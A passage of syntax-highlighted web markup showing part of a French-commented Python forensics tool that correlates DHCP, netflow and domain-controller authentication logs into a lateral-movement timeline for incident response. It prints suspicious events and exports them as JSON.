style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> dst_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_mac'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> dst_mac</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_port'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> flow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_port'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'protocol'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'TCP'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'bytes_transferred'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> flow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'bytes'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'tcp_flags'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> flow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'flags'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'auth_account'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> matching_auth</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'account'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> matching_auth </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'INCONNU'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'auth_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> matching_auth</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'auth_pkg'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> matching_auth </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'INCONNU'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'logon_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> matching_auth</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'logon_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> matching_auth </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'INCONNU'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'suspicion_flags'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> suspicion_flags</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'severity'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'HIGH'</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> suspicion_flags </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'INFO'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">sorted</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> key</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token keyword" style="color:hsl(356, 75%, 47%)">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">print_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> high_only</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token boolean" style="color:hsl(356, 75%, 47%)">True</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""Afficher une chronologie d'attaque lisible."""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"\n"</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">+</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"="</span><span class="token operator" style="color:hsl(212, 92%, 35%)">*</span><span class="token number" style="color:hsl(212, 92%, 35%)">80</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"CHRONOLOGIE DE MOUVEMENT LATÉRAL"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"="</span><span class="token operator" style="color:hsl(212, 92%, 35%)">*</span><span class="token number" style="color:hsl(212, 92%, 35%)">80</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        port_names </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token number" style="color:hsl(212, 92%, 35%)">445</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'SMB'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">135</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'RPC'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">3389</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'RDP'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">5985</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'WinRM'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">22</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'SSH'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> event </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> high_only </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">and</span><span class="token plain"> event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'severity'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">!=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'HIGH'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            port_str </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> port_names</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_port'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">str</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_port'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            mb </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">round</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'bytes_transferred'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">/</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">1048576</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">2</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            flags_str </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">', '</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">join</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'suspicion_flags'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> event</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'suspicion_flags'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'aucun'</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"\n[</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">event</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">] </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">event</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'severity'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"  DÉPLACEMENT : </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">event</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'src_hostname'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> (</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">event</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'src_ip'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">)"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"          --&gt; </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">event</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'dst_hostname'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> (</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">event</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'dst_ip'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">) via </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">port_str</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"  IDENTITÉ :   </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">event</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'auth_account'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> [</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">event</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'auth_type'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">, Type </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">event</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation string" style="color:hsl(139, 66%, 32%)">'logon_type'</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">]"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"  VOLUME :     </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">mb</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> Mo transférés"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"  INDICATEURS: </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">flags_str</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Utilisation pendant la réponse aux incidents :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> __name__ </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'__main__'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    correlator </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> NetworkForensicsCorrelator</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    correlator</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">load_dhcp</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'dhcp_export.csv'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    correlator</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">load_netflow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'netflow_internal.csv'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    correlator</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">load_auth_logs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'dc_auth_events.csv'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    timeline </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> correlator</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">correlate</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">time_window_seconds</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token number" style="color:hsl(212, 92%, 35%)">60</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    correlator</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">print_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> high_only</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token boolean" style="color:hsl(356, 75%, 47%)">True</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Exporter la chronologie complète pour ingestion SIEM ou rapport</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">with</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">open</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'lateral_movement_timeline.json'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'w'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">as</span><span class="token plain"> f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">dump</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> indent</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token number" style="color:hsl(212, 92%, 35%)">2</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> default</span><span class="token operator" style="color:hsl(212, 92%, 